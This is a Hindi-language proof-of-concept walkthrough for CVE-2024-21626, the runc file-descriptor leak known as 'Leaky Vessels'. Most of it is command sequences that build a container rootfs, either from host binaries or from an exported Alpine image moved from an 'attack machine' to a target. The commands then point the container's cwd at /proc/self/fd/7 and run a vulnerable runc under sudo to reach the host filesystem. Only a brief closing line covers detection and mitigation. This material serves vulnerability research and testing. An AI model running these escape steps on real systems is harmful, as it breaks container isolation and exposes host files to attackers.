
CVE-2024-21626 के लिए PoC: runc pivot_root से पहले एक आंतरिक fd लीक करता है जो होस्ट CWD को संदर्भित करता है, process.cwd को /proc/self/fd/7 पर सेट करके कंटेनर एस्केप को सक्षम करता है
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2024-21626 |
| प्रभावित घटक | runc ≤ 1.1.11 |
| कमज़ोरी वर्ग | फ़ाइल डिस्क्रिप्टर रिसाव के माध्यम से कंटेनर एस्केप |
| उपनाम | Leaky Vessels |
runc कंटेनर प्रक्रिया चलाने से पहले होस्ट फ़ाइलसिस्टम के कार्यशील निर्देशिका की ओर इशारा करते हुए एक आंतरिक फ़ाइल डिस्क्रिप्टर (आमतौर पर fd/7) लीक करता है। config.json में कंटेनर के cwd को /proc/self/fd/7 पर सेट करने से, प्रक्रिया कंटेनर rootfs के बजाय होस्ट निर्देशिका में आ जाती है — इससे कंटेनर एस्केप प्राप्त होता है।
होस्ट से सीधे बाइनरी कॉपी करके एक न्यूनतम rootfs बनाएँ:
# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. Generate default OCI config
runc spec
# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To: "cwd": "/proc/self/fd/7"
vi config.json
# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer
क्या होता है: runc कंटेनर rootfs पर जाने से पहले होस्ट CWD को संदर्भित करते हुए fd/7 खोलता है। cwd को /proc/self/fd/7 पर सेट करने से runc कंटेनर के बजाय होस्ट पथ में chdir() करता है — जिससे आप वास्तविक फ़ाइलसिस्टम पर पहुँच जाते हैं।
यदि आपको अधिक पूर्ण वातावरण की आवश्यकता है या होस्ट में सीमित बाइनरी हैं:
# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar
# Transfer alpine.tar to the target, then:
# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# Generate OCI bundle config
runc spec
# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"
# Run
sudo /opt/debug --log /tmp/log.json run strikontainer
cwd कॉन्फ़िगरेशन में /proc/self/fd/ पर openat() की निगरानी करें; cwd में /proc/self/fd वाले OCI बंडलों पर अलर्ट करें/proc एक्सेस को प्रतिबंधित करती हैं; मजबूत आइसोलेशन के लिए रूटलेस कंटेनर या gVisor/Kata पर विचार करें